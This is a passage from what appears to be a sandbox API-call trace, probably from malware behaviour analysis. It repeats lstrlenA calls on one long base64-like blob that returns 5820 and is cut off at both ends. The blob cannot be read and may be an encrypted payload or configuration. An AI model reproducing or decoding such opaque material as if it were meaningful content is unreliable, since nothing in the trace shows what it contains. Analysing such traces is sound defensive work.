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") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA 